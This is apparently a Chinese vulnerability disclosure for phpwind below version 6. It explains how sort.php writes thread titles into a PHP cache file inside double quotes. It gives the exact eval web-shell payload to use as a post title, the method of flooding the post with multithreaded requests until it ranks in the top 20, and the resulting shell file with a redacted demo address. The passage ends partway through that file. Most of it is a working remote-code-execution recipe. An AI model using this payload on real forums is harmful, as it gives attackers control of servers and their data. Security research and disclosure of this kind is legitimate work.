phpwind < v6 版本命令执行漏洞

phpwind/sort.php 会定期每天处理一次帖子的浏览量、回复量、精华版排序

代码直接使用savearray将数据库查询出来的内容写入php文件，savearray出来的参数，都使用"双引号来包含，所以可以利用变量来执行任意命令

elseif($action=='article'){

	$cachetime=@filemtime(D_P."data/bbscache/article_sort.php");

	if(!$per || $timestamp-$cachetime>$per*3600){

		$_SORTDB=$_sort=array();

		$query=$db->query("SELECT t.tid,t.subject,t.replies,t.fid FROM pw_threads t LEFT JOIN pw_forums f ON t.fid=f.fid WHERE t.ifcheck='1' AND t.locked<'2' AND f.password='' AND f.allowvisit='' AND f.f_type<>'hidden' ORDER BY t.replies DESC LIMIT $cachenum");

		while($topic=$db->fetch_array($query)){

			if($topic['replies']){

				$topic['subject']=substrs($topic['subject'],25);

				$_sort[]=$topic;

			}

		}

		$_SORTDB['reply']=$_sort;

		$_sort=array();

		$query=$db->query("SELECT t.tid,t.subject,t.hits,t.fid FROM pw_threads t LEFT JOIN pw_forums f ON t.fid=f.fid WHERE t.ifcheck='1' AND t.locked<'2' AND f.password='' AND f.allowvisit='' AND f.f_type<>'hidden' ORDER BY t.hits DESC LIMIT $cachenum");

		while($topic=$db->fetch_array($query)){

			if($topic['hits']){

				$topic['subject']=substrs($topic['subject'],25);

				$_sort[]=$topic;

			}

		}

		$_SORTDB['hit']=$_sort;

		$_sort=array();

		$query=$db->query("SELECT t.tid,t.subject,t.digest,t.fid FROM pw_threads t LEFT JOIN pw_forums f ON t.fid=f.fid WHERE t.digest<>'0' AND t.ifcheck='1' AND t.locked<'2' AND f.password='' AND f.allowvisit='' AND f.f_type<>'hidden'  ORDER BY t.lastpost DESC LIMIT $cachenum");

		while($topic=$db->fetch_array($query)){

			$topic['subject']=substrs($topic['subject'],25);

			$_sort[]=$topic;

		}

		$_SORTDB['digest']=$_sort;

		$ARTICLEDB=savearray('_ARTICLEDB',$_SORTDB);

		writeover(D_P.'data/bbscache/article_sort.php',"<?php\r\n".$ARTICLEDB.'?>');

	}

　　

发表一个帖子：标题如下

code 区域

${@eval($_POST[x])}XXXX

再开一个多线程(100线程，几分钟就可以了)，请求访问那个帖子，直到帖子的访问量排入前20

function savearray($name,$array){

	$arraydb="\$$name=array(\r\n\t\t";

	foreach($array as $key=>$value){

		$arraydb.="'".$key."'=>\narray(\r\n\t\t\t";

		foreach($value as $value1){

			$arraydb.='array(';

			foreach($value1 as $value2){

				$arraydb.='"'.addslashes($value2).'",';

			}

			$arraydb.="),\r\n\t\t\t";

		}

		$arraydb.="),\r\n\t\t";

	}

	$arraydb.=");\r\n";

	return $arraydb;

　　

二天，生成统计排行的时候，shell就躺在了 /data/bbscache/article_sort.php

三个白帽实际演示：http://**.**.**.**/data/bbscache/article_sort.php

漏洞证明：

/data/bbscache/article_sort.php

<?php

$_ARTICLEDB=array(

		'reply'=>

array(

			array("1","${@eval($_POST[x])}XXXX ..","5732","2",),

			array("10","DDDDDDDDDDDDDDDDD","20","2",),

			array("7","HI Everybody (  b)ம","8","2",),

			array("3","hello","5","2",),

			array("5","䜲⊔","3","2",),

			array("2","test","3","2",),

			array("9","AAAAAAAAAAAAA","2","2",),

			array("6","ִА⫢,"1","2",),

			array("8","⵽բ萾ዢ,"1","2",),

			),

		'hit'=>

array(

			array("1","${@eval($_POST[x])}XXXX ..","11382","2",),

			array("2","test","3235","2",),

			array("3","hello","985","2",),

			array("5","䜲⊔","331","2",),

			array("7","HI Everybody (  b)ம","123","2",),